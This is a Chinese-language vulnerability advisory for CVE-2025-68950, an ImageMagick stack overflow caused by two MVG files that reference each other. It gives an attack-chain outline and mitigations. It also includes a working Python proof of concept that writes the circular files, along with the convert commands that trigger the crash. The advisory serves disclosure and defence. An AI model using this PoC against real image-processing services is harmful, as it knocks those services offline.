IPBUF安全漏洞报告
English
CVE-2025-68950 CVSS 4.0 中危

CVE-2025-68950 ImageMagick MVG循环引用栈溢出拒绝服务漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-68950
漏洞类型
栈溢出
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ImageMagick

相关标签

ImageMagick栈溢出拒绝服务循环引用MVG本地攻击CVE-2025-68950

漏洞概述

ImageMagick是一款免费开源的图像处理软件,广泛用于命令行图像转换、编辑和处理。2025年12月披露的安全漏洞显示,在ImageMagick 7.1.2-12之前的版本中,程序在处理MVG(Magick Vector Graphics)格式文件时存在循环引用检查缺陷。当两个MVG文件相互引用时,程序会陷入无限递归调用,最终导致栈空间耗尽而崩溃。该漏洞属于拒绝服务(DoS)类型,CVSS评分4.0分,中危级别。攻击向量为本地攻击,无需认证和用户交互即可触发。由于ImageMagick被广泛应用于Web服务器、图像处理服务、内容管理系统等环境中,任何允许用户上传或处理图像文件的场景都可能受到此漏洞影响。攻击者可通过构造恶意的MVG文件,利用图像处理流程触发栈溢出,导致服务中断或程序崩溃。

技术细节

MVG(Magick Vector Graphics)是ImageMagick的矢量图形描述语言,允许在图像中嵌入矢量图形指令。漏洞根源在于ImageMagick在解析MVG文件时未对引用关系进行循环检测。当攻击者构造两个相互引用的MVG文件(如A.mvg引用push graphic-image并指向B.mvg,同时B.mvg引用A.mvg),程序在解析过程中会递归加载被引用的文件。由于缺乏循环引用检测机制,递归调用会持续进行直到栈空间耗尽。在x86_64架构下,每次函数调用会消耗一定的栈空间,无限递归会导致栈溢出(Stack Overflow),触发程序崩溃或产生段错误(Segmentation Fault)。利用此漏洞需要攻击者能够控制被ImageMagick处理的MVG文件内容,常见场景包括:1)Web应用允许用户上传SVG/MTV等格式文件并由ImageMagick处理;2)邮件系统使用ImageMagick生成缩略图;3)内容管理系统自动处理用户提交的图像资源。修复方案在7.1.2-12版本中增加了循环引用检测逻辑,在递归解析前检查引用链是否形成环。

攻击链分析

STEP 1
步骤1
攻击者创建两个MVG文件(A.mvg和B.mvg),其中A引用B,B引用A,形成循环引用
STEP 2
步骤2
攻击者通过Web上传、邮件附件或文件处理接口将恶意MVG文件提交到目标系统
STEP 3
步骤3
目标服务器上的ImageMagick处理该MVG文件,开始解析并递归加载引用的文件
STEP 4
步骤4
由于循环引用的存在,ImageMagick进入无限递归状态,持续消耗栈空间
STEP 5
步骤5
栈空间耗尽后触发栈溢出异常,导致ImageMagick进程崩溃,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-68950 PoC - ImageMagick MVG Circular Reference Stack Overflow # This PoC creates two MVG files that reference each other, causing infinite recursion def create_circular_mvg_files(): """ Create two MVG files with circular references to trigger stack overflow """ # First MVG file - references the second one mvg_content_1 = '''push graphic-context viewbox 0 0 800 600 push graphic-image filename "mvg2.mvg" pop graphic-image pop graphic-context ''' # Second MVG file - references back to the first one (circular reference) mvg_content_2 = '''push graphic-context viewbox 0 0 800 600 push graphic-image filename "mvg1.mvg" pop graphic-image pop graphic-context ''' # Write the files with open('mvg1.mvg', 'w') as f: f.write(mvg_content_1) with open('mvg2.mvg', 'w') as f: f.write(mvg_content_2) print('[+] Created circular MVG files: mvg1.mvg, mvg2.mvg') print('[+] To trigger the vulnerability, process mvg1.mvg with ImageMagick:') print(' convert mvg1.mvg output.png') print(' magick mvg1.mvg output.png') if __name__ == '__main__': create_circular_mvg_files()

影响范围

ImageMagick < 7.1.2-12

防御指南

临时缓解措施
如果无法立即升级ImageMagick,可采取以下临时缓解措施:1)使用ImageMagick的安全策略文件(policy.xml)限制MVG文件的读取和处理;2)在应用程序中增加文件类型白名单机制,禁止处理用户上传的SVG、MVG等格式文件;3)部署独立的图像处理沙箱环境,限制处理资源的最大消耗;4)监控ImageMagick进程的资源使用情况,设置异常告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表